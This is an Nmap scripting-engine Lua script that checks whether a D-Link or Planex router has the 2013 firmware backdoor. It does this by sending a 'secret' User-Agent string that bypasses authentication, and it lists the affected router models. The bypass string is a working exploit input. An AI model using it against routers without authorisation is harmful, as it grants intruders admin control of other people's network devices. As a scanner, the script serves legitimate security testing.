description = [[ Detects a firmware backdoor on some D-Link routers by changing the User-Agent to a "secret" value. Using the "secret" User-Agent bypasses authentication and allows admin access to the router. The following router models are likely to be vulnerable: DIR-100, DIR-120, DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240 In addition, several Planex routers also appear to use the same firmware: BRL-04UR, BRL-04CW Reference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/ ]] --- -- @usage -- nmap -sV --script http-dlink-backdoor -- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack -- | http-dlink-backdoor: -- | VULNERABLE: -- | Firmware backdoor in some models of D-Link routers allow for admin password bypass -- | State: VULNERABLE -- | Risk factor: High -- | Description: -- | D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string. -- | -- | References: -- |_ http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/ --- author = "Patrik Karlsson " license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"exploit","vuln"} local http = require "http" local shortport = require "shortport" local string = require "string" local vulns = require "vulns" portrule = shortport.http action = function(host, port) local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true }) local server = response.header and response.header['server'] or "" local vuln_table = { title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass", state = vulns.STATE.NOT_VULN, risk_factor = "High", description = [[ D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string. ]], references = { 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/', } } if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or ( response.status == 302 and server:match("^Alpha_webserv") ) then response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } }) if ( response.status == 200 ) then vuln_table.state = vulns.STATE.VULN local report = vulns.Report:new(SCRIPT_NAME, host, port) return report:make_output(vuln_table) end end return end